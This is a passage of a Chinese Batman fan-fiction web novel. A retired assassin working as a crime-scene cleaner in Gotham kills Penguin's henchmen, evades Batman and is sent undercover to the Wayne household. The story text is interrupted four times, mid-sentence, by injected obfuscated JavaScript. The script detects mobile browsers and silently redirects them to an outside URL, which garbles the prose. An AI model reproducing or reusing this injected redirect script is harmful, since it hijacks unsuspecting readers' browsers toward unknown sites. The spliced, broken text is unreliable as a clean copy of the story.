约翰刚拖完地,此时正蹲在地上给地板上蜡,听到这没头没尾的一句问话,他想也不想就回答:“我以前干的是零工,基本什么衣服都穿过,只有在比较正式一点的场合里才会穿西服。” 约翰知道肖特以为职业杀手就像电影里演的那样,毕竟哥谭里有名的那几个□□确实也是穿西服打架的,但是他接的那些任务大多都比较特殊,经常需要他进行一点伪装工作,有时还需要他成为卧底……总之,那份工作不像别人想象中的那么风光和体面。 不过这其实是仅对他这种顶尖杀手而言,约翰一直以为,一流的杀手就应该像他那样工作才对,他的某些同事总是要在完成任务时坚持一些莫名其妙的习惯,他们称之为“仪式感”,约翰则称之为“疯狂提升自己暴露率和死亡率的行为艺术”。 比较典型的是与他同年出道的一个“约会型杀手”,对方非女性目标不接,执行任务前还总要和目标来一场刻骨铭心的虐恋情深,杀人时倒很干脆果断,前后极大的反差让业界内的人总谣传他是恐同深柜。 还有一个年长他几届的杀手,执着于在杀害目标前发布预告,终于有一天阴沟里翻船,没能突破目标的防御网,任务失败不说还差点丢掉性命。 这样的例子还有很多,每次有后辈问要如何才能成为像他这么强大的杀手时,他都想把这些例子说给他们听,希望这些可爱的后辈们引以为戒,不要埋没了杀手界的未来。 但是,杀手界里只有他一个正常杀手。 约翰唯一让人记忆清晰的点就是“好评率100%”。 与之相反,他有一个后辈,执着于用武士刀杀人,因为用刀方式很帅气,刚出道两年就有了响亮的代号。 而约翰从业二十二年,至今在别人的嘴里,他都是那个“you know who”。 约翰退役,未尝没有对杀手这个职业的前景感到悲观的想法。 “零工啊,你也是不容易,难怪要努力学习。” 当最后一块地板被打好蜡,约翰才用手撑着地板站起来,另一边贴好墙纸的肖特抱着剩下的一沓墙纸走过来找约翰,朝地板看了好几眼,随即满意地点点头,称赞约翰。 “嗯,你上手很快啊,这么看来,用不了多久你就可以独当一面了。” 约翰没有应下这话,只是看向肖特抱着的那些墙纸,问:“还有什么地方需要贴墙纸吗?” 肖特顺着约翰的视线看到了怀里的墙纸,摆摆手说:“哦,这个啊,这是特意多出来的。” 他将那些墙纸小心收好,教导般对约翰说:“你知道除了基础的清洁工具之外,其他物品都是由发布工作单的一方承担相应费用的吧?这里面可钻的空子多着呢。” “就拿墙纸来说,这种有钱人用的墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16107009|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸,市价不低于2000美元一卷,假使我们工作时需要用到一卷,材料部那边就会记成两卷或者更多,多出来的就可以由我们自己找人倒卖出去,赚得的收入可以直接塞进自己腰包里面,这是某种约定俗成的‘小费’。” 约翰认真听着肖特的指导,并没有对这笔收入表现出多么大的兴趣,他以往的“小费”动辄六位数、七位数,显然是不能与之相比的。不过他并不嫌弃这笔钱,要知道他没闯出点名声之前,连吃饭都只能蹭联盟的免费食堂。 再说一遍,该死的联盟。 约翰心里骂着杀手联盟,面上却一脸纯善,看着这样稚嫩的新人,肖特也不免有些触动,他拍了拍约翰的肩膀,鼓励他两句,又说起墙纸的事情。 “这次算你运气好,就当是见面礼吧,等这些货卖出去了,到手的钱分你三成。” 约翰摘下口罩,戴久了口罩的脸上还泛着不知是憋闷还是激动造成的红晕,他的眼里闪过惊喜,直言道:“谢谢,我在哥谭还没有长期居住的地方,你能当我的中介吗?” 肖特挑眉,很满意约翰的“示好”,他大笑两声,主动给约翰提起了工具箱,说:“好啊,不过我可当不了什么中介,这样吧,我给你介绍一个熟人,找他租房子不会有错。” “你是外地人不太懂这些,有些房子在谁的地盘上可要记清楚了,不然迟早有公司让我去处理你尸体的那一天。” 肖特这话很难说是威胁还是打趣,可能这就是哥谭人开玩笑的方式吧。 到了公司,约翰拿回了自己的工具箱,重新补了一些物品后将箱子放回了储物柜里。这是个多人共用的换衣间,因为总有人进进出出,更衣室的门也总是虚掩着的。 约翰脱了工作服准备洗澡时,刚好就有人直接推门进来。 从来人沾满血的工作服来看,对方的工作场地不比他好到哪里去。 金发的清洁工急匆匆脱下工作服,余光间瞥见约翰已经脱了背心,露出健壮的、肌肉线条流畅有力的脊背和手臂。 他在约翰转身的那一刻立刻收回了视线,心里直打鼓,他下意识感觉约翰不像是个普通的清洁工,但又不知从何说起约翰的“不对劲”。 不知怎的,这个清洁工给他一种恐怖的感觉,话说回来,他以前见过这人吗? 约翰当没看见金发清洁工的小动作,带着洗浴用品去了浴室,认真清洗之后走出浴室,惊觉他竟然成了最后一个离开的人。 清理更衣室血迹的保洁人员看见约翰从浴室里走出来也很吃惊,他提了提帽子,喊着:“怎么还有人没走啊?” 他看了看手表上的时间,又看了看浑身冒着湿热气息的约翰,说:“都已经是这个时间了,难道今天的工作很晚才结束吗?” 不,他这一批是最早回来的,同行的肖特早就下班回家去了。 约翰在心里反驳着,默认了保洁人员说的“工作很晚”的理由,他假装冷静地坐在柜门前擦头发,心里却尖叫着“绝对不能把上一份工作的习惯带到这份工作里来,洗澡洗得超级仔细,不仅擦了指纹还拾起了毛发什么的……” 约翰头顶着毛巾,借着柜门的遮挡穿上衬衫和裤子,迅速穿好衣服后把毛巾扔进洗衣篮里,头也不回地离开了。 5. 搬家 约翰的学习能力一如既往地强悍,不过一周,他就已经可以独自完成那些繁琐麻烦的清洁工作。 肖特对约翰的优秀表现看在眼里,他没多说什么,只是在交上去的评估记录里提了几句,约翰就顺理成章地转正了。 与此同时,肖特也终于帮约翰找好了合适的住处。 周末,肖特开车带着约翰到了哥谭小有名气的富人区里,中介早早就等候在房门前,看见肖特的车时还招了招手。 中介是一个一脸正直的中年男人,光从面相上来看,估计外人很难会想到他和肖特这样的人是多年的朋友。 “你好,我叫道森,这是我的名片。” 道森看见约翰下了车,立刻走上前介绍自己,顺便还透露了自己了解的事情。 “我知道先生你同样是‘那边的人’,所以特地选了隐私性高的独栋住宅,价格方面也不用担心,这里是贵公司投资的房产,员工居住享有补贴。” 道森从口袋里找出钥匙开门,打开门后回头看向肖特和约翰。 肖特主动提了一句:“没错,这样的房产还有不少,比如我就住在新城,那边方便做生意。” “我看你对这种事也不感兴趣,不感兴趣也好,还是住得安全些吧。” 肖特抬手揉了揉下巴,从夹克外套里摸出烟盒走了出去,道森提醒他“别把草坪给点着了”,肖特只是随意挥了挥手以作回答。 “就像他说的那样,”道森带着约翰朝客厅里走去,仿佛不经意般说,“听他说你是外地人?那就更应该记住哥谭的几个主要势力和他们的地盘了,顺便一提,这里在钻石区,和企鹅打好交道不会有错。” 道森说完,从怀里掏出一张哥谭地图,然后用随身携带的圆珠笔将他们所在的位置圈了出来,又将地图送给了约翰。 约翰接过地图,这份地图显然与便利店里售卖的地图不同,很明显,这是“情报鸟”旗下的机构印刷出来的特别地图,上面用不同颜色标明了不同的势力占据的区域。 他最先找到了新城的位置,那地方毗邻犯罪巷。 他接着看下去,找到钻石区,并且一眼就看到了米勒湾,黑面具和企鹅人最近才因为货物问题在这里大打出手,公司紧急出动了包含他在内的六名清洁工去收尸,争分夺秒之下才赶在大蝙蝠的黑影降临之前运走所有尸体。 约翰看地图看得认真,也没怎么听道森介绍房子,抬头看了一眼卧室,一锤定音。 “就到这里吧,我就租这栋好了。” 约翰收起地图,心里还在想着情报鸟的业务,从前他就知道以杀手的身份在这机构里可以用优惠的价格买到合适的情报,不过他并不清楚这机构具体在那些地方有分部,他只通过联盟的窗口联络过对方。 而从道森的态度上来看,这种地图应当是普通的赠品,不算什么贵重的情报……情报鸟机构会在这里有分部吗? 糟糕,又以职业思维去判断了。 约翰暗骂一句,他不主动去了解哥谭的事也是不想自己又不自觉地开展过往的思维模式,毕竟他完成任务的前提就是了解详情,了解得越多,杀人就越有积极性。 而且一直动脑确实很累。 约翰签下合同,搭了肖特的顺风车回到酒店收拾行李,只是就这么一个来回的时间,约翰新家所在的住宅区就发生了不小的骚动。 “前边这是怎么了?” 肖特嘟囔着停车,打车开窗探出脑袋去张望挡住路的那些警车和封条。 “我就说你运气不是很好,第一天就说了,瞧,你邻居的邻居出事了。” 肖特幸灾乐祸地笑起来,警察先到的话就不用他们这些清洁工上场了,虽然如果有需要的话清洁工也会去偷尸体,但这里是在哥谭,收尸往往不是第一要义,掩饰才是。 “唔,我的行李不多,就放在路边,我搬过去就是了。” 眼看着汽车是开不进去了,约翰松开安全带,还拜托肖特把后备箱打开。 “好吧,好吧,我可不想和条子们看对眼了,你也别被注意到了。” 肖特坐在车里,从后视镜里看到了约翰关上后备箱之后比的“OK”手势,心情颇为爽快,他哼着歌,在路口倒了车离开。 约翰抱着箱子穿过警车的包围圈里,显然他没提前看好气氛,因为这不仅仅是来调查命案的警方,也是严阵以待正在和挟持人质的凶手对峙的警方。 “啊。” 约翰后知后觉,他此时正好站在了警方和凶手中间。 他朝左右两边看了看,丝毫不担心自己会不会因为某支枪走火而死在这里,比子弹更可怕的武器他都躲过,自然不把这种场面放在心上,但是他整个人都挡在路中间的行为确实挺不道德的。 约翰朝两边点头道歉,他一次性抱了三个箱子,实在看不见前方的道路,只能按记忆走到刚租下的那处独栋别墅门前。 回到行李处的路上他再次经过了对峙现场,这次他懂得提前避让了,于是还在发懵中的警方就看到了刚才那个青年居然又回来了,还从持枪歹徒的身后绕了路。 不一会儿,那青年又回来了,左右手里各提着一个28寸的黑色行李箱,依然打算从歹徒身后绕路。 “?” GCPD的警察连忙招手让约翰从他们这边经过,不对,约翰压根就不应该乱入这种现场,想到这一点的他们又疯狂挥手让约翰远离这里。 可惜为时已晚,约翰已经走到了歹徒的身边。 歹徒认为约翰这样随意走动是在挑衅自己,于是他一把将怀里的女人质扔开,双手握枪,把枪口对准了约翰的脑袋。 “把手举起来,该死的!” 歹徒怒吼着,双眼充血变得通红,面目狰狞活像个丧尸,看多了恐怖片而害怕被他咬上一口的约翰听从了歹徒的指令,乖乖将行李箱放下了。 比起警察,他当然是下意识地认为歹徒这边比较安全啊。 不过他的行为可能、也许、大概激怒了这家伙? 约翰看着眼前的歹徒嘴巴一张一合,口吐芬芳,渐渐开始走神。 啊,这个人话好多啊,丧尸是没有那么多话的吧?说起来,如果真的到了世界末日、丧尸大爆发的那一天,他能杀多少丧尸呢?不,那个时候可能联盟都没人了吧,系统瘫痪什么的,连工资都发不出来……如果世界末日就能让联盟毁灭的话,唔,世界末日需要几步来着? 不,还是算了,这不是同归于尽吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16107010|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 约翰走神结束,看着眼前激动的歹徒,一时之间不知道该从哪个破绽下手。 因为枪对他来说实在是没有什么威胁性,所以约翰首先pass掉了夺枪这个动作,如果他的拳头比对方眨眼的速度要快的话—— “咚!” 在所有人都尚未反应过来之际,约翰的拳头已经先行与歹徒的脸颊来了个亲密接触。歹徒被打到在空中三百六十度转体,最后重重摔在地上,连同手里的手枪一起。 当然了,为了防止枪走火误伤到其他人,他还顺手把枪上的保险打开了。 眼看着歹徒倒地,一众警察蜂拥而上将人团团围住,直到彻底控制住了歹徒之后才集体松了口气。 带头的警察刚想说教约翰的鲁莽行为,拾起歹徒的枪支时却注意到了打开状态的保险栓。 这个保险,之前是打开的吗? 因为这小插曲,他也忘记了要教育约翰人身安全的问题。 约翰从这些警察身边挤出来,伸手去够自己的行李箱,有一个年轻的警察注意到了约翰的举动,热心的他当即走上前去,想要提起行李箱。 “!” 约翰看着这个小警察提箱子,他看这人努力了半天也提不起来的样子就一阵失笑。 对方注意到约翰一直在目不转睛地盯着他的动作,不想丢脸的他决定用拉杆拉动行李箱,可结果自然是行李箱纹丝不动。 约翰笑着接过行李箱,轻松把箱子提起来离开了,只留下一个震惊到失去颜色的小警察。 他先是看着约翰离开的身影,又转头看着押着歹徒的前辈,在他的注视下,歹徒突然吐了一口血沫,碎裂的牙齿掉了一地。 他无端感到心里发寒。 刚才那一拳,恐怕谁都没有看清。 但这是在哥谭,所有人都自觉遵守了“沉默是金”的原则,没有人主动提起过约翰的行为,包括那个反应慢半拍的头头在内。 等约翰收拾完行李,时间已经来到了晚上。 “嘟。” 这声提示音来自约翰工作用的手机,表示他有一件新委派的任务。 “……突然加班吗?” 约翰叹气,放下手里的披萨店宣传单,朝口袋里塞了储物柜的钥匙。 不到四十分钟,穿着黄色工作服、提着工具箱的约翰就来到了工作地点——米勒湾。因为有装载尸体的需求,公司还给了一辆SUV以便约翰使用。 约翰打着手电筒朝集装箱深处走去,他还没忘记自己之前在这里扛着尸体飞奔的场景,只希望今天能安稳一点,别再来些别的东西捣乱了。 “A16仓库,A16……啊,在这里。” 约翰看见仓库的门还开着,意兴阑珊地放下手里的开锁工具。 他推开门,手电筒的光线在里面每一个人的脸上扫过。 “任务里可没说这里还有活人。” 约翰默默计算着人数,打手一共六人,都配有枪械,还有一人是领头者,手里只有一把雨伞,会是改造后的武器吗? 约翰关掉手电筒,在朦胧的月色下,仓库里的气氛焦灼起来,双方蓄势待发,直到一声“解决他”的命令传来,约翰的身影才彻底融于夜色之中。 6. 黑暗 在六个人都持有枪械的情况下,贸然与之正面对抗是不妥的。约翰正是深知这个道理,才打算利用他在黑暗中的优势。 在排除对方有夜视装备的情况下,使用手电筒观察了周遭环境的约翰是有一定优势的,比如,他知道从旁边的集装箱穿行过去,可以直接绕到这些人的后方。 这样,即使这些人开了枪,也只是平白对着空无一人的地方浪费子弹。 约翰手上没有任何武器,他能依赖的只有口袋里的小工具——随手装进口袋里的橡皮圈,裁纸用的美工刀,还有一支圆珠笔。 约翰将圆珠笔拿出来,放弃了美工刀这个选项。一是因为美工刀在“割开”方面占优势,但是能“割开”的程度有限;二是因为他在伸展刀片时会有无法忽略的“咔、咔”声,这样就会在动手前暴露自己的位置了。 综上所述,圆珠笔是他现在的不二选择。 但愿这笔质量好点,别输给他的手劲就好。 约翰悄无声息地站在了最后一名打手的身后,他伸出手,左手捂住对方口鼻的同时,右手握着圆珠笔从敌人的颈动脉处刺了进去。 ……三……五……十…… 约翰静默着等待怀里人失血过多而休克,这个过程用不了多长时间,等后者的颈动脉搏动消失就可以了。 约翰将尸体轻轻放在地上,随后如法炮制,同样只用了不到十五秒的时间就干掉了另一个枪手。 而直到他杀死第三人时,这些人才反应过来不对劲,他们尝试着开枪,企图借助火花看清楚什么,有一人看到了倒在地上生死不明的同伴,恐慌瞬间攫取了他的意志,他大骂一声,枪对准周围开始无差别攻击。 “X的!你在做什么,奥利弗!” 他击中了队友的小腿,对方立刻倒下,捂着流血不止的伤口痛嚎出声,他一边骂着名为“奥利弗”的傻叉队友,一边举起了枪——他刚才看见约翰的位置了。 “砰!” 一股巨力紧紧钳制住了他的手腕,迫使他将枪口转移了方向,子弹穿透了那个矮小男人的雨伞,随后擦着他的胯部朝远处飞去。 “啊!我要杀了你们!” 在这样的尖叫声中,约翰已经用圆珠笔和一支手枪干掉了剩下的两人。 此时手枪里还有一发子弹。 约翰听着那个持续骂出声的声音,找到了男人所在的位置。老实说,他其实有点后悔,毕竟他这么杀人又没有报酬,完全是在做白工,再加上如果不是对方先尝试动手的话,他完全没必要和这些人起冲突。 越想越气的约翰提着枪走到男人跟前,一把揪住对方的衣领并把枪口对准了他的大鼻子。 “先生,这么晚了,你怎么一个人待在这里呢?太不安全了。” 科波特强装镇定,此时此刻除了这个男人的声音以外,他听不见手下人的声音,用脚趾头都能想到,他们全都被这个男人干掉了。 从他下命令到这个男人杀死他们之后过去了多长时间了? 哥谭什么时候来了这号人物,就是蝙蝠和他的鸟宝宝们都没有下手这么干脆利落的时候,能不生出一丝犹豫就立刻痛下杀手的人,不是天生的反社会人格变态就是杀人如杀鱼一样冷漠的杀手。 科波特在思考,他在思考,如今他要如何从这个变态杀手的手里逃出去。 “我只是路过。” 科波特用了最蹩脚的一个理由。尼格玛!你在哪里? “是吗?那幸好有我在这边,才保护了你的安全,要是你出门再多带点人就好了,这样就不用只有我一个人对付他们了,对吧?” 他在威胁他! 科波特读懂了约翰的言下之意,就算他今天带再多的人来也没用,约翰一样能把他们全部解决掉。 “先生?我应该得到我的报酬。” 约翰将枪口缓慢下移,尚未冷却的枪管抵在了科波特带着大宝石戒指的手上。 科波特咬咬牙,愤恨地将那个鸽子蛋大的宝石戒指取了下来。戒指就放在手心里,被他托举着递到前方,尽管他什么也看不见,但他就是知道人就在他面前。 约翰在空中摸了两下才摸到戒指,他将戒指放在手里掂量了一下重量,满意地收进口袋里,同时也将枪支收了起来。 “请尽快离开这里吧,记住一件事,不管你今天是因为什么来到这里的,对方都没打算让你活着离开。” 约翰已经能猜到科波特来到这里的目的了,结合之前的摩擦事件来看,罪魁祸首的身份也十分清楚明了。 科波特在黑暗中摸索着离开,手上突然沾了温热的液体,突然变成恐怖片的发展让他毛骨悚然,他立即小跑着离开了仓库,直到跑到一处路灯下,才看清了自己手上沾满了血液。 他颇为嫌恶地用手帕擦了擦手,本想着叫上自己人去讨个场子,顺便给自己的雨伞报仇,可他转念一想,刚才的枪声肯定已经吸引到了那些夜行生物,于是他又怂怂地认了栽,同时暗戳戳地希望蝙蝠侠能给那个男人一个鼻青脸肿的教训。 才将仓库的灯打开的约翰并不知道科波特的小心思,他将工具箱提进仓库里,看着多出来的六具尸体发愁,任务里只要求他交上去两具尸体,那剩下的那些家伙们该怎么办呢? “有没有还活着的,‘吱’一声?” 毫无动静。 没办法了,时间有限,他还是先把尸体都装袋吧。 约翰将裹尸袋拿出来,认命般将尸体们排排装好,之后便开始捡弹壳、拖地。 “我记得当时这边有射中一颗子弹……” 约翰在集装箱上查看着,祈祷别有货物损失的情况,还好,子弹只是嵌在了铁皮上,没有更进一步,而这种铁皮箱子多个弹痕并无大碍,没见箱子的另一侧全是弹痕吗?想必是帮派火拼留下的,这个自然也可以算进去。 终于搬运走所有尸体并打扫完现场,约翰关了灯走出仓库,临走前还不忘把门给锁上。 当他才走出两步时,脚尖前方的地面突然就受到了蝙蝠镖的攻击。 约翰一个闪身躲在集装箱后面,脑子里回忆着那枚蝙蝠镖投掷过来的方向,从高度来看,对方起码站在两层高的集装箱上面,那他拿这一层的箱子作为掩体的举动就不现实了。 如他所想,下一枚蝙蝠镖就插在了他对面的集装箱上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16107011|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 直到目前为止,蝙蝠侠一共向他投掷了两枚蝙蝠镖,且都是警告。 对于无名喽啰,对方不可能也没必要投掷出两枚蝙蝠镖来警告他,警告他的手段也很多,用这种方法……难道,他其实是在试探吗? 如果约翰是个普通人,他这时不应该冷静地思考反击手段,也不应该迅速判断好周边环境然后找到合适的掩体,正确的做法应该是—— 约翰从集装箱后面走出来,两眼放光地看着对面集装箱上插着的蝙蝠镖,声音充满了惊喜。 “天哪!这就是蝙蝠镖吗?竟然让我给碰上了!” 约翰一边惊叹着一边走向蝙蝠镖的位置,然后将手缩进袖子里,企图在不伤到自己的情况下,尽可能小心地把蝙蝠镖拔出来,就像那些蝙蝠侠的粉丝会做的事情一样。 约翰拔出蝙蝠镖,小心拿着它,转身去找地上的那枚。 他探出脑袋,在附近看了又看,就像任何一个一面对未知危险就会变得谨慎的普通人一样,从演技上来说,他绝对是没有问题的。 约翰低着头找了好一会儿,只找到了一个凹槽,他知道那就是蝙蝠镖原先待的位置,想来这一枚已经被对方给回收走了。 约翰露出失落的样子,不过他还戴着口罩,即使是蝙蝠侠也只能看到他唯一露出来的眼睛,所以眼睛里的情绪一定要丰富。 约翰将蝙蝠镖小心收好,小跑着打算离开这里,突然,不远处的集装箱上落下一道厚重的黑影。 约翰畏缩着靠在集装箱旁边跑步,直到他坐上车,对方都没有跟来。 “你在这儿做什么,年轻人?” 经过变声器处理后的声音沙哑而低沉,听上去像是某种肉食动物而不是蝙蝠。 “我、我是接到了公司的活,有人指名要我来这里打扫卫生——” 约翰说着,将放在手套箱里的散落的名片摸出来一张,茫然无措地举着名片,但不知道该给谁,他试探性地将名片递出车窗,很快,从上面伸出来一只手将名片拿走了。 蝙蝠侠看着名片,正面印着:24h家政速递服务,霍恩海姆家政公司,玛莎·斯图尔特特别推荐,为您服务! 背面印着:190-XXX-3465,期待您的来电! “查到了,确实有这个公司,这么看来,他应该和枪击声没有关系。” 通讯设备的另一端,正在浏览霍恩海姆家政公司网站的提姆放下咖啡,对蝙蝠侠表达了他的看法。他通过蝙蝠侠身上的设备也看到了约翰的表现,如果不是这人演技太好,那就是他真的只是一个普通人而已。 可是,如果真的是一个普通人,那打电话把他叫来的目的是?一个仓库而已,他们能想到的也就是让这人去清理血迹了,但是,枪声响起的时间与这个青年工作的时间如此接近,他有没有可能看见什么呢? 车顶上的重量消失了,约翰没有放松警惕,他弱弱地喊了几句“蝙蝠侠”,随后打开车门走了出去,摸着后脑勺在原地转了一圈,左看右看,像是在找人。最后装成失望的模样,重新坐进车里驱车离开。 “红罗宾,事情没这么简单,查一查他的员工信息。” 7. 伪装与任务 清洁工公司哥谭分部,迄今为止,已在哥谭生存了数十年之久,相比起总部成立的时间与哥谭市里其他老牌企业建立至今的时间,它确实算不上什么有分量的公司。 但是这家公司并不追寻名声,在哥谭这样的地界,有时候出名就意味着麻烦,比如哥谭市著名地标建筑阿卡姆精神病院,从开业以来不知遭了多少次袭击,不提里面作怪的家伙们,拿它当靶子的也有不少人。 再比如哥谭市著名老牌企业韦恩集团,几代人命途多舛,深刻让人感受到了什么是“树大招风”。 以上,是清洁工公司哥谭分部部长艾米莉亚的想法,她深知在这里发展清洁工事业不是靠在外的名声,而是靠那些雇主们之间口口相传,隐秘意味着更高质量的服务,以及更昂贵的收费。 只要能宰这些肥羊们一笔,她什么规矩都能改变,什么要求都能执行下去。 为此,清洁工的存在最好要保有一定的隐蔽性,否则,要是人人都知道有这么一批人一直致力于销毁所有犯罪现场,那第一个被针对的对象就是他们。 艾米莉亚发誓她一定会将清洁工这个行业延续下去,即使是在检测技术越来越高超的今天。 “所以,你应该能明白我的意思了,曼尼先生。” 艾米莉亚与坐在她办公桌对面的约翰直视着,明亮又强烈的野心在她的瞳孔中熊熊燃烧,她看起来精神不是很正常的样子,不过,这副模样倒和他以前的几个同事十分相似。 “是的,女士——” “请叫我‘小姐’。” “是的,小姐,我会继续伪装成霍恩海姆家政公司的员工。” 艾米莉亚满意地点点头,她将一份文件推给约翰,手指在桌面上敲了两下,说:“也不需要你花费多大的心思,我早就给所有员工准备了霍恩海姆家政公司的名牌和一应信息,任对方有再厉害的黑客都查不出来半点问题。” “即使我们纳税,用的也是霍恩海姆的名头,不过,如果对方真的查到了什么也不必担心,我可以将你调离这里——纽约那边正缺人手。” 约翰想起来三天一小打五天一大闹的那个纽约,沉默了。 他不能接受外星人的存在,外星人对他来说是比贞子还要吓人的存在。而纽约恰恰就盛产那些,不,不止纽约,隔壁的大都会不也有一个超人吗? 这么看来,哥谭倒是少有的适合他这样的人生存的地方了,毕竟这里连鬼都不愿意留下来。 “叮铃铃——” 艾米莉亚正说着解决方案呢,一通电话响了起来,硬生生打断了她的连篇畅言。 “新的订单,还是从那个家族?” 艾米莉亚的声音透着不敢置信,但她的嘴角已经忍不住上扬了。在她目光灼灼地看过来时,约翰突然有种不好的预感。 挂断了电话,艾米莉亚强压了一下嘴角,又清了清嗓子,对约翰说:“有雇主指名让你做一趟家政服务,钱多,但是肯定是不能和那些订单相比的。不过指名你的人大有来头,所以钱多钱少都无所谓。” 艾米莉亚站起来,绕着约翰打量了好几圈,随后满意地点点头,她看起来还干过妈妈桑之类的工作。 “这还是韦恩家族第一次下单,虽然是霍恩海姆公司的单子,但那些都不重要——” 艾米莉亚双手撑在约翰坐着的椅子扶手上,想是要将他圈在怀里一样,她是个身材高大的女人,即使是约翰和她站在一起也要仰视她。 “曼尼先生,听着,蝙蝠侠和布鲁斯·韦恩有关系,他突然下订单绝不是什么心血来潮,这是一次赤【】裸裸的试探,一旦你露出破绽了,我就会舍弃你,明白吗?” 约翰依然面无表情,他轻轻点了头,对艾米莉亚的威胁不放在心上。 “很好。” 艾米莉亚直起身,拍了拍约翰的肩膀,说:“如果你做得好,我可以给你升职,不用再出外勤……” “不,请让我继续原先的工作。” 约翰头一次打断了艾米莉亚的话,他目光坚定,看起来倒是真的对清洁工这份职业抱有热忱之心。 与传言中的一样。 至此,艾米莉亚才算是满意,“那就加工资。” 她看了看手表,盘算着时间,接着用固定电话打给了助理,嘱咐对方按她的要求准备好“家政公司”的行头。 “对了,先前你可能只知道对外伪装成霍恩海姆家政公司的员工,但实际上却对这个公司对外的形象一无所知吧?” 艾米莉亚露出邪恶的笑容,看起来像是约翰新邻居家里的比格犬一样,约翰抱住了自己的手臂,怎么也抚不平手臂上的鸡皮疙瘩。 不多时,助理按照要求带着“行头”和“工具”来了,她拿着一套装在防尘袋里的超短女仆装,推着一推车乱七八糟的清洁工具,恭敬地将朝艾米莉亚打了个招呼。 艾米莉亚走过去接过那套女仆装,又把衣服隔空在约翰身上比对了一下,说:“里面有休息室,快去换上,尺寸要是不合适还能再换一套。” 约翰深吸一口气,劝自己冷静下来,他以前干杀手,什么衣服都穿过,更糟糕的也穿过,不过是件衣服而已,没什么大不了的。 约翰走到休息室里,动作迅速地地换上了超短女仆装,幸好尺寸合适,他穿着行动也方便,这么一想,他就更加没有扭捏的心思了,干脆走出去大方地展示给艾米莉亚和那个助理看。 艾米莉亚看见了约翰的装扮两眼放光,她兴奋地左看右看,还问了自己的助理:“辛迪,怎么样?” “很合身。” 辛迪干巴巴地回答。 艾米莉亚看她还是老样子就不再理会对方,只是将视线再次转到了约翰身上,她的视线在某一处停留之后,伸手比划了一下,感慨般说道:“唉,我还是第一次看见有人穿这身制服,前边一点也不空,反而满满当当。” 约翰低头朝自己锁骨下方看去,随即一脸一言难尽地看向艾米莉亚,说:“X骚扰?” 艾米莉亚震惊,艾米莉亚瞪了约翰一眼,她搂过辛迪,“吧唧”一口亲在了她的脸颊上,又伸手把自己蹭在对方脸上的口水擦了擦。 “我说的或许是有不对,但意思到了就行。” “好吧。”约翰耸肩,打消了找工会的想法,他摸着自己的脸,问艾米莉亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16107012|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化妆的问题,谁知艾米莉亚听了大笑,说:“曼尼啊曼尼,我要是真想搞什么女仆把戏,直接找女人就行了,干嘛还要你装成女人呢?” 见约翰没反应过来,她接着说:“霍恩海姆是一家‘转换’家政公司,意思是男人一律穿女仆装,女人则一律穿执事或园丁等服装,这样也是避免有人占她们便宜,至于男人嘛——” 艾米莉亚上下打量了一下约翰,笑着说:“你放心,没有谁会把这件衣服穿成你这个样子,再加上你的脸……韦恩那小子花边新闻挺多,但是我得到的情报是他和蝙蝠侠你侬我侬,外边的人都是在做戏,所以你反而不用担心。” “万一真出了事,先跑,能跑掉就给我打电话,报警没什么用,所以我会雇佣哥谭所有的报社写臭他的名声,然后安排人勾引他好引蝙蝠侠过去搞个捉奸在床,再——” “不,那样的事还是算了。” 约翰拦住了艾米莉亚说的那些越来越不堪入耳的报复手段,他不能告诉艾米莉亚他怀疑布鲁斯·韦恩和蝙蝠侠就是同一个人,只能委婉地表示自己一定会“安然无恙”。 艾米莉亚掏出手帕,擦了擦眼角并不存在鳄鱼眼泪,她甩甩手帕,催促约翰快点去送上门让人家观察。 约翰点头,推着那一推车的工具离开了,隔了半分钟折返回来,去休息室里把自己的衣服带走了。 他走的是艾米莉亚专用的私人电梯,不用和其他人碰上,直达地下停车库。 艾米莉亚收起手帕,眯着眼睛看着监控里的约翰坐了电梯离开,皮笑肉不笑,说的就是她现在的表情。 “安排好后备方案,要是真让蝙蝠侠发现我们在做什么工作,免不了被盯上。盯上事小,亏损事大啊。” “是。” 辛迪应声,头垂得更厉害了。 